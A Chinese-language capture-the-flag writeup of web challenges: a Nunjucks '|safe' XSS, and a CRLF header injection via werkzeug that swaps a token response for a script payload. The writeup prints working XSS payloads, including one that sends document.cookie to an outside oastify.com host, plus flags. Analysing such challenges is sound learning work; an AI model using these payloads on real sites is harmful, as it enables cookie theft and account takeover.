開始決定就算沒解出來的題目也寫一下 Writeup

不然我太爛ㄌ

Web

pinder

題目是用 Node.js 寫,然後模板是用 Nunjucks
大致上就是讓你上傳你的 profile,然後可以給別人看
很基本的 XSS 題

my-profile.njk 裡有這段

<div class="flex flex-row space-x-5">
    <p class="font-bold">First name</p>
     <p> {{profile.first_name | safe}} </p>
</div>
<div class="flex flex-row space-x-5">
    <p class="font-bold">Last name</p>
    ...

safe 的語法可以參考官方的 document
簡單來說就是相信該字串是安全的,所以不會對它做 escape
所以只要把 payload 塞進 profile.firstname 就行了

payload:

{"first_name":"<svg/onload='eval(new URLSearchParams(window.location.search).get(`code`))'>","last_name":"bruh","profile_picture_link":"hi"}

securinets{3bcc81811533d70940084c8}

0 CSP

Intended

同樣是 XSS 題
前端會啟動 Service Worker 來 cache 所有 request

在註冊 Service Worker 的時候,它會把叫做 user 的 param 記錄下來,存放在 serverURL 的參數之中

const reg = await navigator.serviceWorker.register(
            `sw.js?user=${params.get("user") ?? 'stranger'}`,{scope: './'});
const params = new URLSearchParams(self.location.search)
const userId = params.get("user")
const serverURL = `https://testnos.e-health.software/GetToken?userid=${userId}`;

而每當前端向後端的 /GetToken 發起請求時,會改用記錄下來的 serverURL 代替原本的 URL

self.addEventListener('fetch', (event) => {
  let req = null
  if (event.request.url.endsWith('/GetToken')) {
    req = new Request(serverURL, event.request)
  }

  event.respondWith(
    cacheFirst({
      request: req ?? event.request,
      preloadResponsePromise: event.preloadResponse,
      fallbackUrl: './securinets.png',
    })
  );

那我們現在可以來看後端的 /GetToken 在做什麼事
首先他會取得我們的 userid,並且查看是否有被存起來
如果沒有的話則隨機生成新的 token,有的話就用舊的
然後將 userid 放進 response header 中
最後把 token 以及 escape 過的 userid 放進回應之中

@app.route('/GetToken', methods=['GET', 'OPTIONS'])
def get_token():
    ...
    try:
        new_header: dict[str, str | bytes] = dict(headers)
        userid = request.args.get("userid")

        ...

        if userid in user_tokens:
            token = user_tokens[userid]
        else:
            token = generate_token()
            user_tokens[userid] = token
        new_header["Auth-Token-" +
                   userid] = token

        return jsonify({'token': token, 'user': str(escape(userid))[:110]}), 200, new_header

    ...

接下來再回來前端看看
觀察一下會發現只有一個 endpoint 可以 XSS
/helloworld.html

<script>
        const endpointUrl = 'https://testnos.e-health.software/GetToken';

        fetch(endpointUrl)
            .then(response => {
                ...
                return response.json();
            })
            .then(data => {
                console.log('Parsed JSON data:', data);
                var token = data['token']
                var user = data['user']
                //const clean = DOMPurify.sanitize(user)
                document.body.innerHTML = "hey " + user + " this is your token: " + token
            })

可以看到能 XSS 的點分別是 user 以及 token
但結合剛才的 /GetToken 的行為,user 被 escape 掉了,而 token 則是隨機生成的,似乎也沒有辦法植入我們的 payload

但注意到剛剛有一個行為

然後將 userid 放進 response header 中

在 werkzeug latest(2.3.6) 及之前,response header key 是允許 \r\n的存在的 (source)
也就是有非常明顯的 CRLF 漏洞
所以我們的攻擊手法就是下列這樣

  • userid 放入我們的 payload,造成 CRLF,以此來替換掉 /GetToken的 response
  • 讓 admin 去到 /helloworld.html
  • ???
  • profit

payload:

%0d%0aatest:+aa%0d%0a%0d%0a{"token":"<img+src%3d%23+onerror%3d'location%3d`http%3a//x.oastify.com/%3fx%3d`%2bdocument.cookie'>aaaaa","user":"z"}

Unintended

report 給 admin 的 endpoint 中
檢查 URL 的 regex 有錯誤

def use_regex(input_text):
    pattern = re.compile(r"https://escape.nzeros.me/", re.IGNORECASE)
    return pattern.match(input_text)

可以買下 escape9nzeros.me 之類的網域就能解了